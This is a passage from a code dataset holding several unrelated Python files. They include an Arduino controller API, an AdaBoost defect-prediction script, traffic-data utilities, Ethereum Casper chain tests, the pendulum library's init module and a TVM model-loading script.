self.datalogger.add_datapoint(key, x, y)\n\n # self.data[message[\"data\"][\"key\"]].append([message[\"data\"][\"x\"], message[\"data\"][\"y\"], message[\"data\"][\"t\"]])\n\n t = time.time()\n if t - self.lastupdate > self.dataupdate:\n self.lastupdate = t\n\n for key, values in self.datalogger.get_last_valid_values().items():\n if key not in self.lastsend:\n self.lastsend[key] = (\"x\", \"y\")\n if (\n self.lastsend[key][0] != values[0]\n or self.lastsend[key][1] != values[1]\n ):\n self.lastsend[key] = (values[0], values[1])\n #self._python_communicator.cmd_out(\n # cmd=\"datapoint\",\n # key=key,\n # x=values[0],\n # y=values[1],\n # targets=[\"websocket\"],\n #)\n\n # for key, dates in self.data.items():\n # self.communicator.cmd_out(\n # sender=self.name,\n # x=dates[-1][0],\n # y=dates[-1][1],\n # key=key,\n # target=\"gui\",\n # t=dates[-1][2],\n # as_string=True,\n # )\n\n def get_data(self, data_target=None):\n if data_target is None:\n return\n self._python_communicator.cmd_out(\n sender=self.name,\n cmd=\"set_data\",\n target=data_target,\n as_string=True,\n data=self.data,\n )\n\n def boardupdate(self, boarddata=None):\n if boarddata is None:\n return\n self.boarddata[boarddata.get('port')] = boarddata\n self.logger.info(\"boardupdate:\" + str(boarddata))\n\n def get_board_attribute(self, port, attribute):\n if port not in self.boarddata: return\n return self.boarddata[port].get(attribute, None)\n\n def port_opened(self,port):\n pass\n\n def port_closed(self,port):\n if port in self.sensor_ports:\n self.sensor_ports.remove(port)\n\n def port_identified(self,port):\n pass\n\n def set_websocket_server(self, websocket_server):\n self.websocket_server = websocket_server\n\n","sub_path":"multi_purpose_arduino_controller/arduino_controller/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":6263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"103693667","text":"# -*- coding: utf-8 -*-\n# coding: UTF-8\n\nimport numpy as np\n\nfrom ImproveAdaBoost.ImproveAdaBoost import ImproveAdaBoost\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score, f1_score, recall_score, precision_score\n\n#cm1 40 0.94 10 10 count\n\ndef main():\n\n # load data\n dataset = np.loadtxt('I:\\\\tools\\\\SoftwarePrediction\\\\dataset\\\\cm1.txt', delimiter=\",\")\n length = len(dataset[0])\n x = dataset[:, 0:length - 1]\n y = dataset[:, length - 1]\n\n # prepare train data\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.4)\n #x_train=x;y_train=y\n\n # prepare test and train data\n x_train=x_train.transpose()\n y_train[y_train==1] = 1\n y_train[y_train==0] = -1\n\n x_test=x_test.transpose() \n y_test[y_test == 1] = 1\n y_test[y_test == 0] = -1\n\n # train\n ada=ImproveAdaBoost(x_train, y_train)\n ada.train(60)\n\n # predict\n y_pred = ada.pred(x_test)\n print(\"total test\", len(y_pred))\n print(\"true pred\", len(y_pred[y_pred == y_test]))\n print(\"acc\", accuracy_score(y_test, y_pred))\n print(\"precision\",precision_score(y_test,y_pred))\n print(\"recall\",recall_score(y_test,y_pred))\n print(\"f1\",f1_score(y_test,y_pred))\n for i in range(len(y_pred)):\n if y_test[i]==1 and y_pred[i]==1:\n print(i)\nif __name__=='__main__':\n main()","sub_path":"SoftwarePrediction/ImproveAdaBoost/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"37732965","text":"import os\r\nfrom math_utils import *\r\n\r\n\r\ndef load_data(file_path):\r\n \"\"\"\r\n load data\r\n :param file_path:\r\n :return: data[B, N]\r\n \"\"\"\r\n # path\r\n data_path = os.path.join(\"data/\", f'{file_path}', f'{file_path}.npz')\r\n data = np.load(data_path)\r\n print(f'load data from path: data/{file_path}/{file_path}.npz')\r\n # B, N\r\n data = data['data'][:, :, 0]\r\n return data\r\n\r\n\r\ndef data_spilt(data_set, data_ratio, offset, n_his, n_pre, n_route, day_slot, c_0=1):\r\n\r\n if offset == 0:\r\n # data size\r\n n_slot = int(len(data_set) * data_ratio - day_slot) - n_his - n_pre + 1\r\n # data scale\r\n n_scale = n_his + 2 * n_pre\r\n tmp_seq = np.zeros([int(n_slot), n_scale, n_route, c_0])\r\n for i in range(n_slot):\r\n # period\r\n sta1 = i + n_his\r\n end1 = int(sta1 + n_pre)\r\n df_period = np.reshape(data_set[sta1:end1, :], [n_pre, n_route, c_0])\r\n # trend\r\n sta2 = i + day_slot\r\n end2 = sta2 + n_his\r\n df_trend = np.reshape(data_set[sta2:end2, :], [n_his, n_route, c_0])\r\n # pre\r\n df_pre = np.reshape(data_set[end2:end2 + n_pre, :], [n_pre, n_route, c_0])\r\n df = np.concatenate([df_period, df_trend, df_pre], axis=0)\r\n tmp_seq[i, :, :, :] = df\r\n\r\n else:\r\n n_slot = int(len(data_set) * data_ratio) - n_his - n_pre + 1\r\n n_frame = n_his + 2 * n_pre\r\n tmp_seq = np.zeros([n_slot, n_frame, n_route, c_0])\r\n for i in range(n_slot):\r\n # period\r\n sta1 = i + n_his + int(offset * len(data_set)) - day_slot\r\n end1 = int(sta1 + n_pre)\r\n df_period = np.reshape(data_set[sta1:end1, :], [n_pre, n_route, c_0])\r\n # trend\r\n sta2 = i + int(offset * len(data_set))\r\n end2 = sta2 + n_his\r\n df_trend = np.reshape(data_set[sta2:end2, :], [n_his, n_route, c_0])\r\n df_pre = np.reshape(data_set[end2:end2 + n_pre, :], [n_pre, n_route, c_0])\r\n df = np.concatenate([df_period, df_trend, df_pre], axis=0)\r\n tmp_seq[i, :, :, :] = df\r\n\r\n return tmp_seq\r\n\r\n\r\ndef data_gen(file_path, data_assign, n_route, n_his, n_pre, day_slot):\r\n\r\n # data assign\r\n n_train, n_val, n_test = data_assign\r\n data_set = load_data(file_path)\r\n # train\r\n df_train = data_spilt(data_set, n_train, offset=0, n_his=n_his, n_pre=n_pre, n_route=n_route, day_slot=day_slot)\r\n # val\r\n df_val = data_spilt(data_set, n_val, offset=n_train, n_his=n_his, n_pre=n_pre, n_route=n_route, day_slot=day_slot)\r\n # test\r\n df_test = data_spilt(data_set, n_test, offset=n_train+n_val, n_his=n_his, n_pre=n_pre, n_route=n_route, day_slot=day_slot)\r\n\r\n df_mean = np.mean(df_train)\r\n df_std = np.std(df_train)\r\n # z_score\r\n df_train = z_score(df_train, df_mean, df_std)\r\n df_val = z_score(df_val, df_mean, df_std)\r\n df_test = z_score(df_test, df_mean, df_std)\r\n print('train dataset shape:',df_train.shape)\r\n print('val dataset shape:',df_val.shape)\r\n print('test dataset shape:',df_test.shape)\r\n print(f'mean:{df_mean}, std:{df_std}')\r\n\r\n return df_train, df_val, df_test, df_mean, df_std\r\n\r\n\r\ndef data_batch(data, batch_size, shuffle):\r\n \"\"\"\r\n\r\n :param data:\r\n :param batch_size:\r\n :param shuffle:\r\n :return: shape [Batch_size, T, N, C_0]\r\n \"\"\"\r\n data_len = len(data)\r\n data_id = np.arange(data_len)\r\n # shuffle\r\n if shuffle:\r\n np.random.shuffle(data_id)\r\n # data = data[data_id]\r\n\r\n for st_id in range(0, data_len, batch_size):\r\n end_id = st_id + batch_size\r\n if end_id > data_len:\r\n end_id = data_len\r\n\r\n yield data[data_id[st_id:end_id]]\r\n\r\n","sub_path":"data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":3753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"463282967","text":"# Write a function called tree_intersection that takes two binary tree parameters.\n# Without utilizing any of the built-in library methods available to your language, return a set of values found in both trees.\n\nfrom tree.tree import BinaryTree\n\ndef tree_intersection(bt1, bt2):\n # convert the binary trees to arrays\n arr1 = bt1.in_order()\n arr2 = bt2.in_order()\n\n # place to store the matches\n matches = []\n\n # loop through\n for i in range(len(arr1)):\n # if any instance of arr1 is in arr2 then...\n if arr1[i] in arr2:\n # if arr1 at that instance is already in matches then skip it.\n if arr1[i] in matches:\n continue\n # if it's in arr2 and it's not already in matches then store it in matches.\n else:\n matches.append(arr1[i])\n if matches == []:\n return 'None'\n return matches\n\n","sub_path":"python/tree_intersection/tree_intersection.py","file_name":"tree_intersection.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"306280627","text":"from carte import *\nfrom jeu_de_cartes import *\nimport random\n\nclass distribution:\n \"\"\"On distribue les cartes\"\"\"\n def __init__(self):\n \"\"\"On incrémente directement à self.jeu le jeu MELANGE\"\"\"\n self.jeu= random.sample(jeu_de_cartes().paquet,32)\n def distribuer(self):\n self.j= [ [],[],[],[] ]\n for i in range(4):\n for p in range(8):\n carte=self.jeu[0]\n self.j[i].append(carte)\n self.jeu.remove(carte)\n\n return self.j\n","sub_path":"distribution.py","file_name":"distribution.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"429432927","text":"import pytest\nfrom ethereum import utils\nfrom ethereum.tools import tester\nfrom ethereum.tests.utils import new_db\nfrom ethereum.db import EphemDB\nfrom ethereum.hybrid_casper import casper_utils\nfrom ethereum.hybrid_casper.casper_utils import mk_prepare, mk_commit\nfrom ethereum.slogging import get_logger\n\nlogger = get_logger()\n\n_db = new_db()\n\n# from ethereum.slogging import configure_logging\n# config_string = ':info,eth.vm.log:trace,eth.vm.op:trace,eth.vm.stack:trace,eth.vm.exit:trace,eth.pb.msg:trace,eth.pb.tx:debug'\n# configure_logging(config_string=config_string)\n\nEPOCH_LENGTH = 25\nSLASH_DELAY = 864\ntester.k0 = utils.sha3(\"null_sender\")\ntester.a0 = utils.privtoaddr(tester.k0)\ntester.keys[0] = tester.k0\ntester.accounts[0] = tester.a0\nALLOC = {a: {'balance': 5*10**19} for a in tester.accounts[:10]}\nk0, k1, k2, k3, k4, k5, k6, k7, k8, k9 = tester.keys[:10]\na0, a1, a2, a3, a4, a5, a6, a7, a8, a9 = tester.accounts[:10]\n\n\n@pytest.fixture(scope='function')\ndef db():\n return EphemDB()\nalt_db = db\n\ndef init_chain_and_casper():\n genesis = casper_utils.make_casper_genesis(k0, ALLOC, EPOCH_LENGTH, SLASH_DELAY)\n t = tester.Chain(genesis=genesis)\n casper = tester.ABIContract(t, casper_utils.casper_abi, t.chain.env.config['CASPER_ADDRESS'])\n casper.initiate()\n return t, casper\n\ndef init_multi_validator_chain_and_casper(validator_keys):\n t, casper = init_chain_and_casper()\n mine_epochs(t, 1)\n for k in validator_keys[1:]:\n valcode_addr = t.call(k, '', 0, casper_utils.mk_validation_code(utils.privtoaddr(k)))\n assert utils.big_endian_to_int(t.call(k0, casper_utils.purity_checker_address, 0, casper_utils.ct.encode('submit', [valcode_addr]))) == 1\n casper.deposit(valcode_addr, utils.privtoaddr(k), value=3 * 10**18, sender=k0)\n t.tx(k, '', 0, casper_utils.mk_validation_code(utils.privtoaddr(k)))\n t.mine()\n casper.prepare(mk_prepare(0, 1, epoch_blockhash(t, 1), epoch_blockhash(t, 0), 0, epoch_blockhash(t, 0), k0))\n casper.commit(mk_commit(0, 1, epoch_blockhash(t, 1), 0, k0))\n epoch_1_anchash = utils.sha3(epoch_blockhash(t, 1) + epoch_blockhash(t, 0))\n assert casper.get_consensus_messages__committed(1)\n mine_epochs(t, 1)\n assert casper.get_dynasty() == 1\n casper.prepare(mk_prepare(0, 2, epoch_blockhash(t, 2), epoch_1_anchash, 1, epoch_1_anchash, k0))\n casper.commit(mk_commit(0, 2, epoch_blockhash(t, 2), 1, k0))\n casper.get_consensus_messages__committed(2)\n mine_epochs(t, 1)\n assert casper.get_dynasty() == 2\n return t, casper\n\n# Helper function for gettting blockhashes by epoch, based on the current chain\ndef epoch_blockhash(t, epoch):\n if epoch == 0:\n return b'\\x00' * 32\n return t.head_state.prev_headers[epoch*EPOCH_LENGTH * -1 - 1].hash\n\n# Mines blocks required for number_of_epochs epoch changes, plus an offset of 2 blocks\ndef mine_epochs(t, number_of_epochs):\n distance_to_next_epoch = (EPOCH_LENGTH - t.head_state.block_number) % EPOCH_LENGTH\n number_of_blocks = distance_to_next_epoch + EPOCH_LENGTH*(number_of_epochs-1) + 2\n return t.mine(number_of_blocks=number_of_blocks)\n\ndef test_mining(db):\n t, casper = init_chain_and_casper()\n assert t.chain.state.block_number == 0\n assert t.chain.state.block_difficulty == 1\n for i in range(2):\n t.mine()\n assert t.chain.state.block_number == i + 1\n\ndef test_mining_block_rewards(db):\n t, casper = init_chain_and_casper()\n genesis = t.mine(coinbase=a1)\n blk2 = t.mine(coinbase=a1)\n blk3 = t.mine(coinbase=a1)\n blk4 = t.mine(coinbase=a1)\n t.mine(coinbase=a1)\n assert t.chain.state.get_balance(a1) == t.chain.env.config['BLOCK_REWARD'] + t.chain.mk_poststate_of_blockhash(blk4.hash).get_balance(a1)\n assert t.chain.state.get_balance(a1) == t.chain.env.config['BLOCK_REWARD'] * 2 + t.chain.mk_poststate_of_blockhash(blk3.hash).get_balance(a1)\n assert t.chain.state.get_balance(a1) == t.chain.env.config['BLOCK_REWARD'] * 3 + t.chain.mk_poststate_of_blockhash(blk2.hash).get_balance(a1)\n assert t.chain.state.get_balance(a1) == t.chain.env.config['BLOCK_REWARD'] * 4 + t.chain.mk_poststate_of_blockhash(genesis.hash).get_balance(a1)\n assert blk2.prevhash == genesis.hash\n\ndef test_casper_transactions_cost_no_gas(db):\n t, casper = init_chain_and_casper()\n valcode_addr = t.call(k1, '', 0, casper_utils.mk_validation_code(utils.privtoaddr(k1)))\n assert t.head_state.gas_used == 0\n casper.deposit(valcode_addr, utils.privtoaddr(k1), value=3 * 10**18, sender=k0)\n assert t.head_state.gas_used == 0\n\ndef test_casper_transactions_must_be_first(db):\n t, casper = init_chain_and_casper()\n valcode_addr = t.tx(k1, '', 0, casper_utils.mk_validation_code(utils.privtoaddr(k1)))\n with pytest.raises(tester.TransactionFailed):\n casper.deposit(valcode_addr, utils.privtoaddr(k1), value=3 * 10**18, sender=k0)\n\ndef test_casper_transactions_must_be_first_for_block_to_be_mined(db):\n t, casper = init_chain_and_casper()\n normal_tx = tester.Transaction(t.head_state.get_nonce(utils.privtoaddr(k1)), 50000, 60000, b'', 0, casper_utils.mk_validation_code(utils.privtoaddr(k1))).sign(k1)\n tester.apply_transaction(t.head_state, normal_tx)\n valcode_addr = t.call(k1, '', 0, casper_utils.mk_validation_code(utils.privtoaddr(k1)))\n casper.deposit(valcode_addr, utils.privtoaddr(k1), value=3 * 10**18, sender=k0)\n with pytest.raises(AssertionError):\n t.mine()\n\ndef test_simple_chain(db):\n t, casper = init_chain_and_casper()\n t.tx(k0, a1, 20, gasprice=0)\n blk2 = t.mine()\n blk3 = t.mine()\n assert blk2.hash in t.chain\n assert blk3.hash in t.chain\n assert t.chain.has_block(blk2.hash)\n assert t.chain.has_block(blk3.hash)\n assert t.chain.get_block(blk2.hash) == blk2\n assert t.chain.get_block(blk3.hash) == blk3\n assert t.chain.head == blk3\n assert t.chain.get_children(blk2) == [blk3]\n assert t.chain.get_chain() == [blk2, blk3]\n assert t.chain.get_block_by_number(1) == blk2\n assert t.chain.get_block_by_number(2) == blk3\n assert not t.chain.get_block_by_number(3)\n\ndef test_head_change_for_longer_pow_chain(db):\n \"\"\"\" [L & R are blocks]\n Local: L0, L1\n add\n Remote: R0, R1, R2\n \"\"\"\n t, casper = init_chain_and_casper()\n t.mine()\n root_hash = t.chain.head_hash\n L = t.mine(2)\n assert t.chain.head_hash == L.hash\n t.change_head(root_hash)\n R = t.mine(2)\n # Test that we just need one more block before the head switches\n assert t.chain.head_hash == L.hash\n R = t.mine(1)\n assert t.chain.head_hash == R.hash\n\ndef test_head_change_for_more_commits(db):\n \"\"\"\" [L & R are checkpoints. Ex: L3_5 is local chain, 5th epoch, with 4 stake weight]\n Local: L3_5, L4_1\n add\n Remote: R3_5, R5_2\n \"\"\"\n keys = tester.keys[:5]\n t, casper = init_multi_validator_chain_and_casper(keys)\n epoch_1_anchash = utils.sha3(epoch_blockhash(t, 1) + epoch_blockhash(t, 0))\n epoch_2_anchash = utils.sha3(epoch_blockhash(t, 2) + epoch_1_anchash)\n # L3_5: Prepare and commit all\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 3, epoch_blockhash(t, 3), epoch_2_anchash, 2, epoch_2_anchash, k))\n t.mine()\n for i, k in enumerate(keys):\n casper.commit(mk_commit(i, 3, epoch_blockhash(t, 3), 2 if i == 0 else 0, k))\n t.mine()\n epoch_3_anchash = utils.sha3(epoch_blockhash(t, 3) + epoch_2_anchash)\n root_hash = t.mine().hash\n # L4_1: Prepare all, commit 1\n mine_epochs(t, 1)\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 4, epoch_blockhash(t, 4), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine()\n casper.commit(mk_commit(0, 4, epoch_blockhash(t, 4), 3, keys[0]))\n L = t.mine()\n assert t.chain.head_hash == L.hash\n t.change_head(root_hash)\n # R5_1: Prepare all except v0, commit 1 -- Head will not change even with longer PoW chain\n mine_epochs(t, 2)\n for i, k in enumerate(keys[1:], 1):\n casper.prepare(mk_prepare(i, 5, epoch_blockhash(t, 5), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine()\n casper.commit(mk_commit(1, 5, epoch_blockhash(t, 5), 3, keys[1]))\n t.mine()\n assert t.chain.head_hash == L.hash\n casper.commit(mk_commit(2, 5, epoch_blockhash(t, 5), 3, keys[2]))\n R = t.mine()\n assert t.chain.head_hash == R.hash\n # The head switched to R becasue it has 7 commits as opposed to 6\n\ndef test_head_change_to_longest_known_checkpoint_chain(db):\n \"\"\"\"\n Test that when we change to a new checkpoint, we use the longest chain known that\n derives from that checkpoint\n\n Chain0: 3A_5, 4A_1, HEAD_CHANGE\n add\n Chain1: 5B_2, HEAD_CHANGE\n add\n Chain2: 4A_2, HEAD_CHANGE\n \"\"\"\n keys = tester.keys[:5]\n t, casper = init_multi_validator_chain_and_casper(keys)\n epoch_1_anchash = utils.sha3(epoch_blockhash(t, 1) + epoch_blockhash(t, 0))\n epoch_2_anchash = utils.sha3(epoch_blockhash(t, 2) + epoch_1_anchash)\n # 3A_5: Prepare and commit all\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 3, epoch_blockhash(t, 3), epoch_2_anchash, 2, epoch_2_anchash, k))\n t.mine()\n for i, k in enumerate(keys):\n casper.commit(mk_commit(i, 3, epoch_blockhash(t, 3), 2 if i == 0 else 0, k))\n t.mine()\n epoch_3_anchash = utils.sha3(epoch_blockhash(t, 3) + epoch_2_anchash)\n root_hash = t.mine().hash\n # 4A_1: Prepare all, commit 1\n mine_epochs(t, 1)\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 4, epoch_blockhash(t, 4), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine()\n casper.commit(mk_commit(0, 4, epoch_blockhash(t, 4), 3, keys[0]))\n chain0_4A_1 = t.mine()\n # Mine 5 more blocks to create a longer chain\n chain0_4A_1_longest = t.mine(5)\n assert t.chain.head_hash == chain0_4A_1_longest.hash\n t.change_head(root_hash)\n # 5B_2: Prepare all except v0, commit 2 -- Head will change\n mine_epochs(t, 2)\n for i, k in enumerate(keys[1:], 1):\n casper.prepare(mk_prepare(i, 5, epoch_blockhash(t, 5), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine()\n casper.commit(mk_commit(1, 5, epoch_blockhash(t, 5), 3, keys[1]))\n t.mine()\n assert t.chain.head_hash == chain0_4A_1_longest.hash\n casper.commit(mk_commit(2, 5, epoch_blockhash(t, 5), 3, keys[2]))\n chain1_5B_2 = t.mine()\n # Make sure the head switches to chain1 becasue it has 7 commits as opposed to 6\n assert t.chain.head_hash == chain1_5B_2.hash\n # Now add a commit to chain0_4A_1, but make sure it's not the longest PoW chain\n t.change_head(chain0_4A_1.hash)\n casper.commit(mk_commit(3, 4, epoch_blockhash(t, 4), 3, keys[3]))\n chain0_4A_2 = t.mine()\n casper.commit(mk_commit(4, 4, epoch_blockhash(t, 4), 3, keys[4]))\n chain0_4A_2 = t.mine()\n # Check to see that the head is in fact the longest PoW chain, not this fork with the recent commit\n assert t.chain.head_hash != chain0_4A_2.hash\n assert t.chain.head_hash == chain0_4A_1_longest.hash\n\n\ndef test_head_change_for_more_commits_on_different_forks(db):\n \"\"\"\" [L & R are checkpoints. Ex: L3_5 is local chain, 5th epoch, with 4 stake weight]\n Local: L3_5, L4_1\n add\n Remote: R3_5, R5_1\n add\n Remote Fork: R3_5, RF5_1\n \"\"\"\n keys = tester.keys[:5]\n t, casper = init_multi_validator_chain_and_casper(keys)\n epoch_1_anchash = utils.sha3(epoch_blockhash(t, 1) + epoch_blockhash(t, 0))\n epoch_2_anchash = utils.sha3(epoch_blockhash(t, 2) + epoch_1_anchash)\n # L3_5: Prepare and commit all\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 3, epoch_blockhash(t, 3), epoch_2_anchash, 2, epoch_2_anchash, k))\n t.mine()\n for i, k in enumerate(keys):\n casper.commit(mk_commit(i, 3, epoch_blockhash(t, 3), 2 if i == 0 else 0, k))\n t.mine()\n epoch_3_anchash = utils.sha3(epoch_blockhash(t, 3) + epoch_2_anchash)\n root_hash = t.mine().hash\n # L4_1: Prepare all, commit 1\n mine_epochs(t, 1)\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 4, epoch_blockhash(t, 4), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine()\n casper.commit(mk_commit(0, 4, epoch_blockhash(t, 4), 3, keys[0]))\n L = t.mine()\n assert t.chain.head_hash == L.hash\n t.change_head(root_hash)\n # R5_1: Prepare all except v0, commit 1 -- Head will not change even with longer PoW chain\n mine_epochs(t, 2)\n for i, k in enumerate(keys[1:], 1):\n casper.prepare(mk_prepare(i, 5, epoch_blockhash(t, 5), epoch_3_anchash, 3, epoch_3_anchash, k))\n fork_hash = t.mine().hash\n casper.commit(mk_commit(1, 5, epoch_blockhash(t, 5), 3, keys[1]))\n t.mine()\n assert t.chain.head_hash == L.hash\n # RF5_1: Commit 1 -- Head will change because of extra commit; however not all commits will be present in state\n t.change_head(fork_hash)\n casper.commit(mk_commit(2, 5, epoch_blockhash(t, 5), 3, keys[2]))\n RF = t.mine(2)\n assert t.chain.head_hash == RF.hash\n\ndef test_head_change_for_more_commits_on_parent_fork(db):\n \"\"\"\"\n Test that all commits from parent checkpoints are counted, even if they exist\n on different forks.\n\n Chain0: 3A_5, 4A_1, 5A_1 HEAD_CHANGE\n add\n Chain1: 4A_1 NO_CHANGE\n add\n Chain2: 3A_5, 7A_2 NO_CHANGE\n add\n Chain3: 7A_1 HEAD_CHANGE\n \"\"\"\n keys = tester.keys[:5]\n t, casper = init_multi_validator_chain_and_casper(keys)\n epoch_1_anchash = utils.sha3(epoch_blockhash(t, 1) + epoch_blockhash(t, 0))\n epoch_2_anchash = utils.sha3(epoch_blockhash(t, 2) + epoch_1_anchash)\n # 3A_5: Prepare and commit all\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 3, epoch_blockhash(t, 3), epoch_2_anchash, 2, epoch_2_anchash, k))\n t.mine()\n for i, k in enumerate(keys):\n casper.commit(mk_commit(i, 3, epoch_blockhash(t, 3), 2 if i == 0 else 0, k))\n t.mine()\n epoch_3_anchash = utils.sha3(epoch_blockhash(t, 3) + epoch_2_anchash)\n root_hash = t.mine().hash\n # 4A_1: Prepare all, commit 1\n mine_epochs(t, 1)\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 4, epoch_blockhash(t, 4), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine()\n casper.commit(mk_commit(0, 4, epoch_blockhash(t, 4), 3, keys[0]))\n epoch_4_anchash = utils.sha3(epoch_blockhash(t, 4) + epoch_3_anchash)\n chain0_4A = t.mine()\n # 5A_1: Prepare all, commit 1\n mine_epochs(t, 1)\n for i, k in enumerate(keys):\n casper.prepare(mk_prepare(i, 5, epoch_blockhash(t, 5), epoch_4_anchash, 4, epoch_4_anchash, k))\n t.mine()\n casper.commit(mk_commit(0, 5, epoch_blockhash(t, 5), 4, keys[0]))\n chain0 = t.mine()\n assert t.chain.head_hash == chain0.hash\n # Chain1: On a different fork, add another commit for 4A\n t.change_head(chain0_4A.hash)\n casper.commit(mk_commit(1, 4, epoch_blockhash(t, 4), 3, keys[1]))\n t.mine()\n assert t.chain.head_hash == chain0.hash\n # Chain2: Build a new fork which will eventually be chosen after recieving 3 commits\n t.change_head(root_hash)\n # 7A_2: Prepare all except v0, commit 2 -- Head will not change because of 4A_2\n mine_epochs(t, 4)\n for i, k in enumerate(keys[1:], 1):\n casper.prepare(mk_prepare(i, 7, epoch_blockhash(t, 7), epoch_3_anchash, 3, epoch_3_anchash, k))\n t.mine().hash\n chain2_7A = t.mine()\n casper.commit(mk_commit(1, 7, epoch_blockhash(t, 7), 3, keys[1]))\n t.mine()\n casper.commit(mk_commit(2, 7, epoch_blockhash(t, 7), 3, keys[2]))\n t.mine()\n assert t.chain.head_hash == chain0.hash\n # 7A_1: Add one more commit on a fork which will now be enough to change the head\n t.change_head(chain2_7A.hash)\n casper.commit(mk_commit(3, 7, epoch_blockhash(t, 7), 3, keys[3]))\n chain3 = t.mine()\n assert t.chain.head_hash == chain3.hash\n","sub_path":"ethereum/tests/hybrid_casper/test_chain.py","file_name":"test_chain.py","file_ext":"py","file_size_in_byte":15957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"637414143","text":"# -*- coding: utf-8 -*-\n\nfrom .pendulum import Pendulum\nfrom .interval import Interval\nfrom .period import Period\n\n# Constants\nMONDAY = Pendulum.MONDAY\nTUESDAY = Pendulum.TUESDAY\nWEDNESDAY = Pendulum.WEDNESDAY\nTHURSDAY = Pendulum.THURSDAY\nFRIDAY = Pendulum.FRIDAY\nSATURDAY = Pendulum.SATURDAY\nSUNDAY = Pendulum.SUNDAY\n\nYEARS_PER_CENTURY = Pendulum.YEARS_PER_CENTURY\nYEARS_PER_DECADE = Pendulum.YEARS_PER_DECADE\nMONTHS_PER_YEAR = Pendulum.MONTHS_PER_YEAR\nWEEKS_PER_YEAR = Pendulum.WEEKS_PER_YEAR\nDAYS_PER_WEEK = Pendulum.DAYS_PER_WEEK\nHOURS_PER_DAY = Pendulum.HOURS_PER_DAY\nMINUTES_PER_HOUR = Pendulum.MINUTES_PER_HOUR\nSECONDS_PER_MINUTE = Pendulum.SECONDS_PER_MINUTE\n\n# Helpers\ninstance = Pendulum.instance\nparse = Pendulum.parse\nnow = Pendulum.now\nutcnow = Pendulum.utcnow\ntoday = Pendulum.today\ntomorrow = Pendulum.tomorrow\nyesterday = Pendulum.yesterday\ncreate = Pendulum.create\nfrom_date = Pendulum.create_from_date\nfrom_time = Pendulum.create_from_time\nfrom_format = Pendulum.create_from_format\nstrptime = Pendulum.strptime\nfrom_timestamp = Pendulum.create_from_timestamp\ntest = Pendulum.test\nset_test_now = Pendulum.set_test_now\nhas_test_now = Pendulum.has_test_now\nget_test_now = Pendulum.get_test_now\nset_locale = Pendulum.set_locale\nget_locale = Pendulum.get_locale\ntranslator = Pendulum.translator\nset_translator = Pendulum.set_translator\nset_to_string_format = Pendulum.set_to_string_format\nreset_to_string_format = Pendulum.reset_to_string_format\n\n# Standard helpers\nmin = Pendulum.min\nmax = Pendulum.max\nfromtimestamp = Pendulum.fromtimestamp\nutcfromtimestamp = Pendulum.utcfromtimestamp\nfromordinal = Pendulum.fromordinal\ncombine = Pendulum.combine\n\n# Interval\ninterval = Interval\n\n# Period\nperiod = Period\n\n# Timezones\nfrom .tz import timezone, local_timezone, UTC\n","sub_path":"pendulum/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"386953296","text":"def add_lists(l1, l2):\n\t_l = list()\n\tmax_length = max(len(l1), len(l2))\n\tfor i in range(max_length):\n\t\ttmp = 0\n\t\tif i < len(l1):\n\t\t\ttmp += l1[i]\n\t\tif i < len(l2):\n\t\t\ttmp += l2[i]\n\t\t_l.append(tmp)\n\treturn _l\n\nl = [1, 2, 3, 4]\nk = [1, 2, 3, 4, 5]\nprint(add_lists(l, k))\n","sub_path":"tag-2/aufgaben/aufgabe-2-1.py","file_name":"aufgabe-2-1.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"377137479","text":"import os\nimport numpy as np\nimport tvm\nfrom PIL import Image\nfrom tvm import te\nfrom tvm.contrib import graph_executor\nfrom tvm import relay\nfrom tvm.runtime import container\nfrom tvm.runtime import vm as vm_rt\nfrom tvm.relay import testing\nfrom tvm.relay import vm\nfrom tvm.relay.op.contrib import arm_compute_lib\nfrom tvm.contrib.download import download_testdata\nfrom util import load_test_image, build_module, update_lib, get_cpu_op_count,download_model_zoo,parse_options, get_device_arch, get_device_attributes, get_device_type, get_tvm_target\nimport sys\n\nargv=sys.argv[1:]\n\ndevice = parse_options(argv)\n\nmodel_dir = '/mobilenet-v1.1.0-128quant/'\nmodel_name ='mobilenet_v1_1.0_128_quant.tflite'\n\nmodel_dir = download_model_zoo(model_dir, model_name)\n\ntflite_model_file = os.path.join(model_dir, model_name)\ntflite_model_buf = open(tflite_model_file, \"rb\").read()\n\n# Get TFLite model from buffer\ntry:\n import tflite\n tflite_model = tflite.Model.GetRootAsModel(tflite_model_buf, 0)\nexcept AttributeError:\n import tflite.Model\n tflite_model = 